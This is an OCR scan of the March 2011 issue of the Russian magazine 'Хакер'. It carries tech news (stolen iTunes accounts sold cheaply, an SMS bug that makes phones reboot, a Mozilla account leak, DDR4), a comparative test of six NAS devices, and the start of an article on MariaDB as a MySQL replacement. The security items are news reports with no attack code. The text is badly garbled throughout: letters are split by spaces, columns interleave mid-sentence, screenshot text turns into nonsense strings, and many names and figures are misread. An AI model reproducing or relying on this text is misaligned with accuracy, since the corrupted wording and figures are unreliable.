» 1 О лет исполнилось Wikipedia 15 января. Как быстро летит время.

3D ДЛЯ ВЗРОСЛЫХ Ц итата и з мюзикла « Avenue а», глася щая : « I nternet i s for рогп» [ И нтернет п редназна­чен для порно l , да в н о уже стала н а р и ца ­тел ьным . Самое забав ное закл ючается в то м , что в этой фразе есть немалая доля ис­тины - сфера услуг и товаров для вз росл ых и технологичес кий п рогресс действител ьно идут бок о бок . О н и п рекрасно допол н я ют и « п родв и га ют» друг друга. С кажем , ты н а верняка ч итал или сл ы шал а том , что разного рода м а н и пул ятор ы с эффектом обратного действ ия и нтересуют не тол ько п редста в ителей и гровой и ндустри и , но и

участн и ков индустр и и развлече н и й для взросл ы х . 3а п р и мерами не нужно ходить далеко : п р а ктически сразу после вы хода Ki nect от M i c rosoft умел ьцы стали п редп ри­н и мать попытки адаптировать его дл я ХХХ­и гр [ кстати , успешно , что очень не н ра в ится самим « мелко м я гким » I . А после прокатив­шегося по пла нете бума 3D-технологий на круп н ы х порносайтах быстренько появи­лись раздел ы с 3D- контенто м . Да , вообще­то, сни мать порно в зо начали уже да вно , н о и нтереса к технологии до последнего в ремени практически не было . Теперь же,

WINSTON FREEDOM MUSIC в декабре 201 О года в М оскве состоялся финал регионального тура фестиваля Winston Freedom M usic. Карди нально новый формат музыкал ьных мероприятий Super Jam Sess ions, объединивший на одной сцене а ктуальные музыкальные направления и передовые циф­ровые технологии, собрал тысячи поклонников в пяти городах России. На московской сцене выступили хедлайнеры европейских клубов, в том числе легенда м ирового брит-попа - группа Kaiser Chiefs, а та кже классики электронного жан ра, обладатели Grammy и MТV Music Awards, проект D iгtyVegas.

� 0 1 2

когда фильмы в зо пол ьзуются сп росом ка к н и когда , стра н н о было бы его не ис пользо­вать. Стало известн о , что во втором квар­тале текущего года « Пентхаус» за пустит первый в м и ре телека нал , тра нсл и рующий 3D-порно . Та ким образом, у нас получается следующая ка ртина : спортивные транс­ляции в режиме стерео уже практи куются , контент для взросл ых - на подходе, а зна­чит, где-то на го ризонте уже маячит смутная перспекти ва 3D-телевидения в ш и роком смысле этого сл ова . И , ка к всегда , пор н о выступает дви гателем про гресса : 1 .

ХАКЕР 0 3 1 1461 2 0 1 1

Page 11: Хакер март 2011

СЕНСОРНАЯ МЫШЬ ОТ МIСRОSОFТ Чуть больше года прошло с тех пор, как компания Apple выпустила минималистичную Magic Mouse. Множество людей за это время пристрастились к сенсорным « грызунам» И хотели бы, чтобы выбор этихдевайсов был больше. Спешим порадовать: достойную новинку выпустил вечный KOHKypeHTApple - компания Microsoft. Устройство, получившее имя Touch Mouse, л ишено колеса прокрутки, зато оснаще­но сенсорной поверхностью или « матрицей емкост­ных электродов, чувствительных к прикосновению». Говоря проще: скроллить можно почти по всей повер­хности мышки. Для тех, кто еще неуспел поработать

участием нескольких пальцев сразу. Таким способом реализованы команды перелистывания, изменения масштаба, панорамирования, навигации между окнами и так далее. Благодаря технологии Blue Т rack новинка совершенно неприхотлива к поверхности, на которой используется . Высокая точность отслежи­вания перемещений мыши на разных поверхностях достигается благодаря новому источнику подсветки и оптическому датчику. В комплект Touch Mouse входит миниатюрный USВ-ресивер Snap-in Nano, функ­ционирующий на частоте 2.4 ГГц. Продажи мыши

с сенсорными мышами, поясним - устройство спо­собно распознавать различные жесты, в том числе и с

ста ртуюттол ько этим летом, но предварительный заказ в магазине Amazon.com можно оформить уже сеЙчас. Новинка обойдется тебе в $79.95.

ITUNES-АККАУНТbI ПО ДЕШЕВКЕ В прошлом году по Сети долго циркулировали слухи об угоне большого количества аккаунтов iT unes, и в итогеАррlе были вынуждены их подтвердить. Тогда мы не знали , каков масштаб бедствия, и представители Аррlеуверяли, что пользователей оповестили об опасности и предложили им сменить пароли. Теперьже на китайском сайте ТаоВао Iбарахолка вроде ЕЬау] в продаже всплыли 50 000 аккаунтов iT unes по

• ee.m.sMIII"

1ТUfМ!�OJ i)Jи:ZM"slc

Music s..oЦl

-­""'"

"

_ ...... ' .......

бросовым ценам. За один аккаунтхакеры хотят всего один юань, что примерно равно четыр­надцати центам. За эти деньги вполне честно обещают временный неограниченный доступ к музыкальному каталогуАррlе, а также к играм, программам и фильмам Iпри несанкциониро­ванном входе можетсработать система предуп­реждения, которая заблокирует доступ через двенадцать часов]. Интересно, связаны ли эти

ц-

_ ..... ,

--

--

-

MS ДАРИТ ТЕЛЕФОНЫ ХАКЕРАМ Хакер, скрывающийся под н и ком GeoHot, известен во всем м и ре благодаря взлому i Рhопе и PlayStation 3 . И стоило ему написать у себя на сайте Igeohot.com] о намерении приобрести и сломать устройство на базе Windows Phone 7, как с ним тут же связал ись предста вители M icrosoft. Если ты думаешь, что взломщику при нялись угрожать судеб­ными разби рательствами и стра шными кара м и - ошибаешься. На связь с джей­лбрейкером вы шел сам Б рендон Уотсон, гла ва подразделения Microsoft по контактам с WP7 - разработч и-

Х А К Е Р 03 (1 4Ь( 2 0 1 1

ка ми . Уотсон п исал : « GeoHot, если т ы хочешь создавать крутые штуки для WP7, оста вь мне свой e-mai l , и м ы с радостью подарим тебе WР7-телефо н l » . Да, такова новая «пол итика партии», теперь M icrosoft п редпоч итает не судиться и скандалить с хакерами , а при­влекать их на свою сторону. Об одном таком п рецеденте мы неда вно п исал и : тогда M S удалось привлечь создателей ChevronWP7 I первого джейлбрейка для WP7] к обсужде­н и ю вопросов дальнейшего развития мо­бильной платформы и убедить парней убрать свою утил иту из ш и рокого доступа.

угоны аккаунтов с прошлогодними накрутками рейтинга некоторых приложений в iT unes? Судя по всему, злоумышленники не просто пользовалисьхалявой, но методично скачи­вали определенные программы, и выводили их в топ 'в основном приложения для чтения электронных книг]. Когда мошенничествоза­метили, некоторые приложения были удалены, а некоторые лишились статусов бестселлеров. В платежной системе PayPal, сообщают, что возрастающий интерес киберпреступников к iT uпеs является вполнезаконным, однакоуве­ряют, что большинство случаев мошенничества происходит именно на стороне iT uпеs, а значит и спрашивать нужно с компании Apple.

� 01 3

Page 12: Хакер март 2011

МЩФНIМi

SMS МОЖЕТ УБИТЬ ТЕЛЕФОН Думаешь, заголовок этой новости выглядел бы уместнее в какой­н и будь «желто й» газете? Пон имаем, з вуч ит действител ьно дико­вато, но , тем не менее, это правда. Непр иятн ы й доклад на дан ную тему был п редста влен обществен н ости на конференции 27С3 , что неда вно состоялась в Берли не. Исследовател и Колл и н Муллинер и Н и ко Голде рассказал и , что многие п р и м итивные мобил ьные телефоны не в состоянии адекватно обработать некоторые в иды сообщен ий - например , M M S или текстовые месса ги , состоящие из нескольких частей . Само по себе это, конеч но , не новость, но со­общение о том , что после получения такого S M S дешевые сотовые могутуйти в ц и кл и ческую перезагрузку - из-за ошибки в ПО - уже и нтереснее. В ходе э кспери мента Муллинер и Голде подняли в своей л аборатории GSM-сеть, п одключили к ней кучу мобильников и разослали на них более 1 20 000 S M S·OK . Аппараты , не имею-щие собственной ОС , реа гировали на получение « непонятн ых» сообщений по-разному - от потери соты до бесконечного ребута . Та кого рода баги проя вились у бюджетн ы х устройств от компаний Sа msuпg , Sопу Ericsson , Motorola и LG . Теперь исследовали неп­розрачно намека ют производителям простеньких трубок, что эти уязвимости вполне можно использо вать и дл я SMS-атак.

» 45% всех фишинговых атак приходится на платежную систему PayPal.

Это излюбленная цель фишеров, согласно отчету OpenDNS .

DDR4 ОТ SAMSUNG

УТЕЧКА У MOZILLA Mozi lla Fou ndation сообщает, что в Сеть, воз­можно, « утекла» база дан ных, состоящая из 44 000 неактивных пользовательских а ккаунтов, ранее использовавшихся на addons.mozi lla. QCg. Случилась эта неп риятность из-за ха­латности самих сотрудн иков ком пании - они случайно выложил и упомянутую базу в откры­тый доступ, и до сих пор не понятно, успел кто­нибудь ее оттуда стянуть или все обошлось. В Mozi lla уверяют, что утеч ка в любом случае не п редставляет н и ка кой угрозы , ведь почти вся информация в «слитой» БД уже уста рела ,

� 01 4

Компания Samsung сообщила о « захвате пальмы первенства» - южнокорейцам удалось перв ыми создать модул и памяти DDR4, используя м и кросхем ы , из готов­ленные по технологии 3х нм класса. Ка к уже давно известно, основная ста вка при разработке делалась на энергоэффекти вность, а не на увел ичение скоростей , та к что заявление п роизводителя о том , что новые модули потребляют на 40% меньше электроэнергии , чем модули D D R3, рассчита н н ые на напряжение 1 .5 В , было впол не ожидаемо. Помимо пон иженного нап ряжения питания (модул и DDR4 способны работать при нап ряжении 1 .05 В] есть и еще один источник экономии ­технология Pseudo Ореп Dra i n (РОD] , вдвое уменьшающая потребляемый ток во время чтения/записи . При этом скорость передачи увел ичилась до 2 . 1 33 Гбит/с при нап ряжении п итания 1 .2 В (для па мяти D D R3, рассчитан ной на нап ряжение п ита ния 1 .35 или 1 . 5 В , этот показатель дости гает 1 .6 Гбит/с]. Орга н изация JEDEC должна утвердить новый стандарт DDR4 уже во второй половине текущего года.

а ПО и алгоритмы шифрования сменились еще в 2009 году. Тем не менее, база содержала логи н ы и парол и пользователей, к тому же зашифрованные еще по старинке - алгорит­мом М D5. Сообщается, что в этой связи все дискредитированные па рол и при нудительно поменяли , о чем пользователей уведомили по электронной почте. Подобный недосмотр компанию M ozi lla, конечно, не красит, даже несмотря на заявление, что « никакого риска для пользователей не было, ин цидент не вышел за рамки инфраструктуры Mozi lla» .

ХАКЕР 03 (1 46( 2 0 1 1

Page 13: Хакер март 2011

ТЕСТИРОВАНИЕ НАКОПИТЕЛЕИ NAS С) Каждый человек, имеющий компьютер и быстрый безлимитный интернет, знает о том, что свободного места на диске много не бывает. Несмотря на появление моделей НОО емкостью в несколько терабайт, проблема все равно остается, тем более, что такие диски весьма дороги. Решением может стать NAS - сетевые хранилища данных.

Технологии в аббревиатуре NAS нет ничего стра шного: Network Attached Storage - сетевая система хранения да нн ых. Это удобный корпус для уста­новки жестких дисков, обладающий сетевым портом, процессором и различными дополн ительными интерфейсам и . Например, если утебя дома несколько компьютеров, то можно с помощью NAS создать общее дисковое пространство, к которому каждый сможет подключиться через сеть. Очень удобно. Но это самый п ростой вариант, ведь NAS позволяет организовать не только банальное хранилище файлов, но и автономный загрузчикторрентов, принт- и веб-сервер, почтовый сервер, систе-му видеонаблюдения на базе IP-камер и много другое. Раз уж в NAS уста навли ваются по несколько жестких ДИСКОВ, то глупо было бы не организовать из них дисковый массив по технологии RAI D . И , естествен­но, такая возможность присутствует. В зависимости отзадач, которые ты поставишь, можно будет сделать выбор - нап ример, в сторону скорости, RAI D О 'но тут нужно помнить, что порт Ethernet может стать узким местом подобной системы) . Если же тебе важна не только скорость, но и надежность, то к твоим услугам массивы уровней RAI D 1 и RAID 5,

которые используют резервирование данных. В зависимости от наличия дополнител ьных разъемов IUSB, eSATA и так далее) , а также п рограм-

� 0 1 6

много обеспечения и з комплекта поставки, возможности конкретного NAS существенно возрастают. На некоторых моделях имеются неболь­шие ЖК-дисплеи, отображающие разл ичную информацию о параметрах работы системы.

Методика тестирования Мы собирали все NAS именно с тремя жестки м и дисками по одной п ростой при чине : модель Thecus N32DD может вместить в себя именно столько Н D D - поэтому, чтобы все были в равных усло-виях , мы устанавливали именно по три диска в каждое сетевое хранилище. Это были 2Тб диски от ко мпании Hitach i . Чтобы понять, насколько быстро ра ботает каждая система, нами использовался тест I n tel NAS Performance Toolk i t , который им ити рует обычные для NАS-операц и и , в частности , ко п и рова н ие файлов и пап ок, работу с мультимеди йным и биз нес-ко нтентом , а та кже с потоковым видео. Тесты п роводились в двух режимах - в массивах уровней RAI D 5 и RAI D D. Мы обращали внимание на пара метры, такие как скорость работы, удобство меню и настройки , ком плектация , фун кциональ­ность, внешний вид, ком плект поста вки и уровень созда ваемого п ри работе шума.

ХАКЕР 0 3 / 1 46/ 20 1 1

Page 14: Хакер март 2011

D-Link DNS-343 ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые протоколы: C I FS/SMB, FТP, UPnP, http Поддерживаемые сервисы: медиа-сервер, при нт-сервер, tоггепt-кли­ент, iTunes Уровни массивов: RAID О, RAID 1 , RAI D 5, JBOD , Standard Оперативная память: 1 28 Мб Процессор: ARM926EJ Порты: Ethernet ( 1 0/1 00/1 000 Мбит/сl , USB

••••• 00000

• Чтобы установить жесткие диски D-Link DNS-343, не нужно приклады­вать много усилий , все сделано очень удобно: никаких винтов и отверток, только направляющие и специальные ры чажки на задней панели для проведения обратной операции . Также удобен небольшой ЖК-экран, на котором отображается различ ная полезная информация, например I P­адрес устройства, количество свободного места и сп исок служб, которые запущены в данный момент. Кроме того, D-L ink DNS-343 - это самое недорогое устройство в нашем обзоре.

-Возможно, именно поэтому у него достаточное кол ичество недостатков. Это сильный шум при работе, который издают два небольших вентиля­тора, а также всего один порт USB на корпусе. Кроме того, высокой ско­ростью работы D-Link DNS-343 также не может похвастаться. В общем, обратная сторона невысокой стоимости очевидна.

ХАКЕР 03 / 1 46/ 20 1 1

NEТGEAR ReadyNAS NVX ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые протоколы: CIFS/SM В, FТP, U PnP, http, AFP, N FS, DLNA, Bonjour Поддерживаемые сервисы: медиа-сервер, принт-сервер, tоггепt-кли­ент, iTunes, ReadyNAS Remote Уровни массивов: X- RAID2, RAI D О, RAID 1 , RAID 5 Оперативная память: 1 Гб Процессор: I ntel ЕР80579 1 ГГц Порты: 2xEthernet ( 1 0/1 00/1 000 Мбит/сl, 3xUSB

••••••••• 0

• Внешность ReadyNAS NVX нам очень понравилась как из-за дизайна, так и из-за качества сборки и материалов. Корпус почти полностью ме­таллически й, а встроенный блок питания делает его довольно весомым. Как и на некоторых других участниках нашего теста, на нем расположен LСD-дисплей, выводящий информацию о состоянии устройства. Монтаж жестких дисков происходит в специальные корзины , что очень удобно. Форматируются диски быстро, настройка проста и понятна. Также стоит отметить высокую скорость работы ReadyNAS NVX, при том, что шум от встроенного вентилятора почти не слышен. А если выбрать режим работы X-RAI D2, то диски можно будет заменять «по-горячему».

-Еди нственный обнаруженный нами у ReadyNAS NVX недостаток носит конструктивный характер - это слишком яркий свет светоида[О2], сиг­нализирующего О работе устройства: особенно нерви рует в темноте или если направлен непосредственно в глаза.

� 01 7

Page 15: Хакер март 2011

QNAP Т5-459 Pro ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые протоколы:СI FS/S М В , FТP, U PnP, http , AFP, NFS, OLNA, Bonjour, iSCSI Поддерживаемые сервисы: медиа-сервер, принт-сервер, tоггепt-кли­ент, iT unes. Уровни массивов: RAIDO, RA1 0 1 , RA1 05, RAID6, RAID5+, JBOO Оперативная память: 1 Гб Процессор: I n te lAtom051 0 1 .66 ГГц Порты: 2xEthernet [ 1 0/1 00/1 000 Мбит/с] , 5xUSB, 2xeSATA, VGA

••••••••• 0

+ Свежее устройство от компании QNAP обладает очень мощной начинкой и широкой номенклатурой портов и разъемов. Это 5 портов USB, которых с лихвой хватит для подключения различных внешних устройств, два разъема eSATA, и даже портVGА. В QNAP TS-459 Рго установлен процес­сор I ntel Atom с двумя ядра ми , тактовой частотой 1 .66 ГГц и поддержкой технологии Нурег Thread ing . Его органично дополняет 1 Гб па мяти типа 00R2 - вместе они обеспечивают весьма впечатляющую производи­тельность. Также имеется дисплей, на котором можно посмотреть любую нужную и нформацию о работе устройства, а кроме того автономно, а не через ПК, настроить NAS. В этом тебе поможет пара кнопок, расположен­ных рядом с экраном.

5ynology Dlsk 5tation D5411+ ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемыепротоколы: C I FS/SMB , FТP, U PnP, http, AFP, N FS, OLNA, Bonjour, iSCSI Поддерживаемые сервисы: медиа-сервер, принт-сервер,mаi l-сервер, tоггепt-клиент, iTu nes. Уровни массивов: RAIOO, RA1 0 1 , RA105, RA106, RAI05+, RAI O 1 О, JBOO, Sta ndart Оперативная память: 1 Гб

Процессор: I ntel Oual-core 1 .67 ГГц Порты: Ethernet [ 1 0/1 00/1 000 Мбит/с] , 2xUSB, eSATA

•••••••• 00

+ Модель Synology Oisk Station OS41 1 + отличается высокой скоростью работы и наличием множества интересных и полезных функци й. С его помощью можно орган изовать почтовый и веб-серверы, причем на пос­леднем можно разместить аж тридцать веб-сайтов с поддержкой РНР/ MySQL. Кроме того, если утебя есть I P-камерbI , то с помощью Synology Oisk Stat ion OS41 1 + сможешь настроить систему в идеонаблюдения . Не­смотря на обилие различных функций работаетустройство очень быстро. Кроме того, девайс прост в настройке, что позволит им воспользоваться даже не самому опытному пользователю.ъ

-Портов и разъемов, в отличие от функций, в Synology Oisk Station OS41 1 +

_ не очень много : всего лишь пара USB и один eSATA. Маловато, учитывая А вот цена данного хран илища, мягко говоря, не низкая . Но, ка к говорит- направлен ность решения. Кроме того, сосредоточившись на обширных ся , за все нужно платить. возможностях устройства, производитель немного задви нул работу над

дизай ном, который получился очень простым и скучным .

� 0 1 8 ХАКЕР 0 3 / 1 1.6/ 20 1 1

Page 16: Хакер март 2011

Synology Dlsk Station DS410i ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые ПРОТОКОЛ Ы : C I F5/5MB , FТP, UPnP , http, AFP, N F5, OLNA, Bonjour, i5C51 Поддерживаемые сервисы: медиа-сервер, принт-сервер, mai l-сервер, tоггепt-клиент, iTunes. Уровни массивов: RAIDO, RAI D 1 , RA105 , RAID6, RAID5+, RAI D 1 0, JBOO, 5tandart Оперативная память: 1 28 Мб

Процессор:АRМ 800 М Гц Порты: Ethernet [ 1 0/1 00/1 000 Мбит/сJ , 2xU5B

•••••••• 00

• Второе изделие от компании 5упоlоgу в нашем тесте. Стоит оно в два раза дешевле, чем его старший брат, но это не помешало производителю оставить в нем ту же програ ммную соста вля ющую, что и в 0541 1 +. А вот внешность «младшен ького» , В отличие от более дорогой модел и, ориен­тированной на бизнес-пользователей, вполне себе симпатичная: белая передняя панель из глянцевого пластика и крышка из серого металла производят очень положительное впечатление. П роизводительность 5ynology Oisk 5tation 054 1 Oj впечатляет, а два вентилятора работают эффекти вно и тихо.

-

Thecus NЗ200 ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые ПРОТОКОЛ Ы : CI F5/5M В, FТP, http, AFP, N F5, OLNA, Поддерживаемые сервисы: медиа -сервер, принт-сервер, tоггепt-клиент, iTu nes. Уровни массивов: RAIDO, RA10 1 , RAI D5,JBOO

Оперативная память: 256 Мб

Процессор: А М О Geode LX800 500 М Гц Порты: 2xEthernet [ 1 0/1 00/1 000 Мбит/сJ , 2xU5B, е5АТА

••••••• 000

• Устройство выбивается из ряда остальных участников теста, так как в него можно установить всего три жестких диска. Впрочем, учитывая его цену, данный нюанс ему можно смело простить, тем более установ-ка происходит очень просто. К тому же, режим RAI D5 в Thecus N3200 производителем оставлен. А это означает, что несмотря на всего три Н О О, надежное хранилище да нных с его помощью вполне можно будет создать. Другой особенностью этого девайса является процессор от ком­пании АМО. Бюджетнасть устройства не повлияла на его функционал: можно организовать медиа-сервер, клиент загрузок или при нт-сервер, а дополн ител ьные модул и позволят существенно расширить этот список. В общем, недорогой - это не значит плохой или слабый .

Н есмотря на то, что 5упоlоgу O isk 5tation 0541 Oj позиционируется вендо- _ ром как бюджетное устройство, порт U5B на передней па нели ему бы не Но , конечно, недостатки у Thecus N3200 тоже есть. Это очень простой помешал. Да и вообще с дополнительными портами беда - присутству- интерфейс, шумная работа системы охлаждения , а также не самая вы-ют всего два разъема U5B, и все. сокая скорость работы. И менно этими неудобства ми ты должен будеш ь

расплатиться за невысокую цену устройства.

ХАКЕР 03 / 1 46/ 2 0 1 1 � 0 1 9

Page 17: Хакер март 2011

РЕЗУЛЬТАТЫ ТЕСТОВ INTEL NAS PERFORMANCE TOOLKIT, RAID О Photo Album

• O-Link ОNS-З4З

• NEТGEAR ReadyNAS NVX

• ONAP TS-459 Pro

• Synology Disk Station OS41 1 +

File сору from NAS • Synology Disk Station OS41 Oj

• Thecus NЗ200

File copyto NAS

HD Video Playback

0.0 20.0 40.0 60.0 80.0 100.0 120.0 140.0

Лидеры забега - хранилища QNAP 15-459 Рго и 5yno[ogy Disk 5tation О541 1 +

INTEL NAS PERFORMANCE TOOLKIT, RAID 5 Photo Album

File сору from NAS

File сору to NAS

HD Video Playback

0.0 20.0 40.0

Особой разницы с МID5 не заметно

ВЫВОДЫ Думаем. что наш тест позволиттебе выбрать хороший NA5. подходящий под твои задачи . Награду «Выбор редакции» получил QNAPT5-459 Рго ­очень быстрая система. обладающая при этом хорошим функционалом.

� 020

• O-Link ОNS-З4З

• NEТGEAR ReadyNAS NVX

• ONAP TS-459 Pro

• Synology Oisk Station OS4 1 1 + • Synology Oisk Station OS41 Oj

• Thecus NЗ200

60.0 80.0 100.0 120.0

Титул « Лучшая покупка» достался модели Thecus NЗ200 за отличное соотношение цены и качества. Л ю б и тел и с к о р о ст и м о гут о б ратить с в о е в н и м а н и е на е щ е оди н п ро и з в одител ь н ы й н а ко п ите л ь . 5yno logy O i s k 5 t a t i o n 0 54 1 1 + .I

140.0

ХАКЕР 03 /1 46/ 20 1 1

Page 18: Хакер март 2011

Жизнь поcnе MySOL

Выбираем з�ен� для популярнои �yьД

С) Что будет теперь, когда ненавистная и даже глубоко противная истинным сторонникам открытого софта компания Oracle купила многострадальную Sun, а заодно и наш с тобой любимый MySQL? Конец легендарного продукта? Может быть. Но уже сейчас есть куда более функциональные и полностью совместимые разработкиl

MySOL, он же п росто «мускул» . Бьюсь об заклад, что это еди н­стве нная СУБД, которая по умолчанию доступна на твоем хостинге . Л юбимые движки для форума и блога работают на ней . Это фак­тически ста ндарт де-факто для любого веб-п родукта . Да и в своих проектах ты , вероятнее всего, испол ьзуеш ь именно ее . В С ети миллионы са йтов осуществляют запросы и сохраняют да нные в БД с помощью MySOL. И все было п росто и п онятно до тех пор , пока компанию Sun вм есте с ее любимым мускулом неожида нно не куп ила корпорация O racle. Уч иты вая, что основным продуктом последней является мощнейшая СУБД с одноименным названием , сообщество сильно тревожилось о дальнейшей судьбе MySOL. И н е напрасно . Ком пания Oracle, конечно же, выступ ила с заявлени­ем , что все в порядке : проект по-п режнему будет разви ваться . Но многим верится в это с трудом. Ведь даже быстрый вы пуск версии

� 022

5 . 5, которую многие та к ждали , не дал положител ьных резул ьтатов : старые баги к а к был и , та к и остались. Разве ж это дело? Н о парал­л ельно с оригинальным MySOL уже давно развиваются альтерна­ти вные п роекты , которые совместимы с оригинальной СУБД, но во многом даже превосходят ее . И об этом мы сейчас и п оговорим .

Важная вещь - совместимость Итак, мы взял ись за непростую задачу - найти замену для MySOL. Но если менять, то на что? Только не беги с криками «Да отстой ваш мускул - бери слона, то есть PostgreSOL» . Не выйдетl Сейчас столь­ко кода нап исано с поддержкой MySOL, что переп исать или искать замену - себе дороже. Причем в прямом см ысле - часто уложиться в рамки разум ных финансовых затрат просто невозможно. Хорошо, если речь идет о п ростецком форуме или блоге lобычно в них реа-

ХАКЕР 03 / 1 46/ 20 1 1

Page 19: Хакер март 2011

Сервер MariaDB

л изована поддержка сразу нескольких систем] . Но что есл и это что-то самописное или заточенное под воз­можности именно MySOL? Тут все ох как непросто. Та к что наша задача - сохра нить мускулы [то есть полную совместимость с MySOL], но прокачать их так, чтобы не зависеть от старше го тренера и его стероидов. Разработч ики и идеол оги самого MySOL дале ко не дураки и са м и п редвидел и ситуа цию, что после погл ощения сложно будет всем. Н е кото рые из них решили даже поки нуть ко мпанию и основать свои про­екты , прихвати в тогда еще свободные коды мускула . Благодаря этому сейчас есть несколько и нтересных п родуктов, основа нных на коде ориги нального сервера, но с большими доработка ми и измен ениями во всем, куда только удалось дотянуться разработч и ка м . Первым делом энтузиасты освободились от бремени движка I nnoDB , правами на который уже давно обладает все тот же самый Oracle. На замену ему вы катили нескол ь­ко движков, которые стали доступ ными в M a ri a D B .

MariaDB История этого сервера уходит в далекий 2008 год, когда оди н и з главных разработч и ков MySOL, осознавая , что сильно связан поставлен ными работодателем рамка м и , уволился и основал свою компанию , кото рая заня-лась исправлением родовых травм MySOL. Я говорю о дефолтном движке My lSAM , который необходимо было менять, и критических ба гах , на исправление кото рых уходило неп риемлемое кол ичество времени. Что полу-

Самые круп.te в мире специалисты по MySQL., имеющие свой собственный сервер

· ' · .. .,'цl"МOI ·.·:tOI-OI»8О<МOI

WhyP.rtOМl'

C ... St\lcll ..

ХАКЕР 03 / 1 46/ 2 0 1 1

Percona'. Whole Stack Coverage loI)'5OI.eqleflull<ll ......... ""IМ_ . ..... .....,.""' ___ n ... InI'IOCeS/l:l! . .... """� .1IIt __ OI __ lof\'SO\.uм._"*'I'Itc......,.. .... pIof'IoI"'J'OUClnWwrsot. 1I'tIIet'_IoI\'IO..�oeII. Рм:OIII .... _-.-.. _ OI ...... "' ... ...-__ .... .-. IUIWIg .. �_,.,. ... )'OIII'r.ty1QI.�_,.IOWIOIIi:.- ""'."_,,� 'fWI_llgoIIIi nCМ,w!J'OUIIofr'OLPllCt т_"",,_,, __ wooщ_. Pe,,:<INcon ....... IIoIoIIII .... oIleClI/IOICIOIIaI .. _.IO:'<1>1\a1_

· 1IIySQI. _·�.u.A..II.u .. tl • AoI)'SQI. _ · C""" .... ·f1!tw!!!l"f ...... · � ·""" ...... _oIU)'$01.$O_pcfIotmonc."""ho. • WoII.aII. *_,CIIOj>IoIICIIt ""'I>4I1fIIIК .... D< ..... �OIN"'I'!ЮLОМ-'_

. �.v�8 .. 1.I

. 0!ШIIt.�1On"'1oIySOI. 0eIIQМ<I 1O" _<"'"IIUIf1g

StorageEnglnes

O IUllll - ",С"".,_ .. __ """""_ ,,,,_ . __ ._--" ....... ,,--'"' ''''''''IIII<In-I.-..-.. • EIIIItI!ISI.�""I>OiIS .. ro. • .....,,_ · UktIl ·III"*""'Y_(roo""-...- ...... �)

AMariaDB (JDBA - --

Downlo.ad MariaDB Front Росе

Download

Welcome to MariaDB! Document.tion

- Knowled,ebase

Service Provideri

About MariaOB

�,;aDВ is .a d"tabaslI JeIVC!r thilt offers drop-in replilcement functlonlllity far MySQll. м.n:.ов is

built Ьу some о, the oritinal authors о' M)'SQL, with 4S:USt&nCe- 'rom the broader community о' Free

and ореn source software d�lopers. In ,ddition to the соге function,lity о' MySQL, Мari,OO offer$

а rich set о' fell.ture enhanceme-nts Includin, ,tternate $tor" o en�nes. server optimiutions, i1nd

patche$.

rл,гi,ОВ B,daes м.,nа08 15 primaril)' driYen Ьу d�lopers ,t Monty Prolr,m, , company founded Ь)' Мich,el

"Monty" Widenius, the oritlnal author о' MySQL, but thls is not the whole story about МмiaDВ. Оп

the �About M"ri,OB" plI.le уои will find тоге informi1tion ilbout ад participants in the МмiIlOВ

community, includinJ storlJo e-nrines XtrilDВ and РВХТ.

Сайт MariaDB

ч илось У создателей M a ria D B ? Замечател ьный п родукт, который на уровне п ротокола , формата файлов и языка SOL идентичен с ориги нальной версией MySOL. Это предоста вляет возможность безболезнен ного пере­хода : без потери да нных или изменения логики работы и м еющегося кода. «Но ка кие бонусы я получу от пе рехода?» , - спроси ш ь ты. Взамен мы получаем бол ьшую скорость работы и новые фичи , которых, возможно, вообще н и когда н е будет в мускуле. Н а п р и м е р , и нтегрированный в сам сервер поисковый движок Sph inx , который н е п ридется став ить отдел ьно, расширенные возможности по бэкапу и управлению да нными и та к далее. Н адо сказать, что многие очень крупные компании [в том числе та кие звери , как Goog le и Facebook] давно испол ьзуют M a ria D B . По сети гуляет специал ьный набор патч ей , которые после наложения на исходн ы е коды оригинального мускула решают многи е проблемы . Одна ко н е жди их появления в официальном серве-ре - есл и за стол ько л ет не сподобил ись , то вряд Л И в следующей версии решатся . Разра ботчики Mar i aDB же пока свободны от корп оративных правил и маркети н го­вых огра ничений , поэтому новые патчи и исправления багов принима ются достаточно быстро. Если оригинальный мускул держится на двух китах -движках хранения данных I n noDB и MylSAM, то MariaDB использует свои собственные, выступающие продви­нутыми заменителями. Движок Aria при шел на замену MylSAM и на деле куда более производителен благодаря построчному кэширова нию и оптимизированному формату упаковки данных. Если оригинальный MylSAM был быстр за счет отказа от транзакций, что означало возможную потерю данных, то Aria одновременно и производителен , и безопасен. За счет улучшенных форматов для хранения и нформации MariaDB существенно быстрее восстанав­л ивается после сбоев, не требуя отдельных процедур проверки да нных после краха . Принадлежащий Oracle движок I n noDB заменен на XtraDB , разработку другой компании в области БД Регсопа. Последняя известна своими сборками MySOL с и нтегрированными патчами от Гугла и Фейсбука, а также расширенными инструмен­та ми админ истрирования . Команда имеет необычную историю [подробнее ты можешь прочитать во врезке] и сейчас активно занимается созданием нового мускула . Для обратной совместимости с MySOL движок XtraDB в MariaDB даже называется точно так же, то есть InnoDB.

• SkySQL skysql.com ; • Maria D B : mariadb .org ; • Регсо па : регсопа .сот ; • Drizzle: drizzle.org ; • MySQ L: mysql.com ; • Hand lerSocket : b i t. ly/a9B7Gh.

� i nfo Первым проектом молодой компании Oracle была раз­работка по заказу разведчиков учетной системы, за которую на конкурсе другие компании запраши­вал и под $2 000 000, а молодой Ларри Элисон заносчиво указал сумму всего в $300 000. Стоит Л И

говорить, что проект был провален, зато компания получила стартовый капитал и начала свое вос­хождение.

� 023

Page 20: Хакер март 2011

